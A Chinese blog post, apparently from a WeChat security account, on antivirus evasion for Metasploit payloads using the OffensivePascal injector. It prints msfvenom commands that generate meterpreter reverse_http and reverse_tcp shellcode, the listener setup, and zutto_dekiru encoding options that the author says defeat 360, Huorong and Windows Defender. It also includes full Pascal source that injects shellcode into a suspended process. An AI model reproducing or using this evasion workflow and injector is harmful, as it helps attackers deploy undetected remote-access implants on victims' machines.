|
0x01 前言
最近在知识星球看到@冷逸师傅分享的一个Pascal语言shellcode注入项目,因为Pascal为冷门语言,所以大概率不会被查杀,所以可以用这个项目来对我们的马儿进行免杀处理。
0x02 项目测试
在测试这个项目前我们得先装好Lazarus环境,然后将OffensivePascal
项目下载到本地,使用作者给出的msfvenom命令生成Pascalg格式的shellcode,并将其全部放置在一行。
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.1.120 LPORT=443 -f c | sed -r 's/[x]+/$/g' | sed -r 's/[]+/,/g' | sed -r 's/["]+//g' | sed -e 's/$/,/' | cut -c 2-
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost 192.168.1.120
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > exploit
接着在Lazarus环境中打开OffensivePascal项目Simple Shellcode injection
文件夹中injector.lpr,将处理好的Pascalg格式的shellcode替换到shellcode:array
中,然后进行编译即可。
这里需要注意下msfvenom生成的payload大小,因为要删除掉shellcode后的;,
,所以在injector.lpr源代码中填写payload大小时可能要-1,如果填写的不对在编译时就可能会出现报错,如下图。
这里我们用360、火绒、PC和Server端的windows defender来扫描下刚编译的injector.exe,看下是否已经能够免杀?在下图中可以看到360是免杀了,但是火绒和windows defender还是查杀到了。
0x03 免杀处理
直接用作者给的msfvenom命令生成的shellcode编译的exe已经被火绒和windows defender查杀,但如果不加那段shellcode就不会被杀,所以我们还需要做进一步的免杀处理。
经过测试后发现其实很简单,只要在msfvenom生成shellcode时使用-e参数加上zutto_dekiru
编码即可实现免杀,次数也可以用-i参数控制,可同时免杀360、火绒、金山毒霸、PC和Server端的windows defender。
接着我们再按以上的测试流程重新走一遍就行了,生成shellcode->处理shellcode->替换shellcode->编译exe->执行上线,都是一些重复的操作,就不详细写了,这时可以看到执行后已经成功上线了。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443 -e x64/zutto_dekiru -i 5 -f c | sed -r 's/[x]+/$/g' | sed -r 's/[]+/,/g' | sed -r 's/["]+//g' | sed -e 's/$/,/' | cut -c 2-
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.120
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > exploit
{
this one is part of repo published on github under the name of Offensive Pascal
Pascal is a great and still up to date :)
these projects can be compilied using FreePascal (FPC)
or Delphi
author : @zux0x3a
site : 0xsp.com / ired.dev
https://github.com/0xsp-SRD/OffensivePascal
}
program injector;
{$mode delphi}
uses
Classes,windows;
procedure inject_shell;
const
//Windows x64 MessageBox Shellcode (434 bytes)
shellcode:array[0..768] of BYTE = (
Insert Shellcode Here);
var
pi: TProcessInformation;
si: TStartupInfo;
{$ifdef win32}
ctx: Context;
{$endif}
{$ifdef win64}
ctx : Pcontext;
{$endif}
remote_shellcodePtr: Pointer;
{$ifdef win64}
Written:dword64;
{$endif}
{$ifdef win32}
Written:dword;
{$endif}
AppToLaunch: string;
i ,s_size: Cardinal;
shell_prt : string ;
shell_code : array of byte;
begin
AppToLaunch := 'notepad.exe';
UniqueString(AppToLaunch);
FillMemory( @si, sizeof( si ), 0 );
FillMemory( @pi, sizeof( pi ), 0 );
writeln('[+] Creating Process in Suspended Mode');
CreateProcess('c:windowssystem32cmd.exe', PChar(AppToLaunch), nil, nil, False,
CREATE_SUSPENDED,
nil, nil, si, pi );
{$ifdef win32}
ctx.ContextFlags := CONTEXT_CONTROL;
GetThreadContext(pi.hThread,ctx);
{$endif}
{$ifdef win64}
ctx := PCONTEXT(VirtualAlloc(nil, sizeof(ctx), MEM_COMMIT, PAGE_READWRITE));
ctx.ContextFlags := CONTEXT_ALL;
GetThreadContext(pi.hThread,ctx^);
{$endif}
//allocate the memory size
remote_shellcodePtr:=VirtualAllocEx(pi.hProcess,Nil,s_size,MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
// write array of bytes into process memory
WriteProcessMemory(pi.hProcess,remote_shellcodePtr,@shellcode,s_size,written);
{$ifdef win64}
ctx.rip:=dword64(remote_shellcodePtr);
//ctx.ContextFlags := CONTEXT_CONTROL;
SetThreadContext(pi.hThread,ctx^);
ResumeThread(pi.hThread);
{$ENDIF}
{$ifdef win32}
ctx.Eip:=integer(remote_shellcodePtr);
ctx.ContextFlags := CONTEXT_CONTROL;
SetThreadContext(pi.hThread,ctx);
ResumeThread(pi.hThread);
{$endif}
end;
begin
inject_shell;
end.
0x04 注意事项
这种免杀方式只能过杀软的静态查杀,在Meterpreter会话中执行getsystem
提权、 migrate
进程迁移等命令时还是会被windows defender阻止,这里我也只是简单测试了下PC的windows defender,至于360、火绒等其他安全防护产品还会拦截哪些操作和行为还请自行测试…。
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推 荐 阅 读
欢 迎 私 下 骚 扰
原文始发于微信公众号(潇湘信安):利用Pascal+zutto_dekiru进行免杀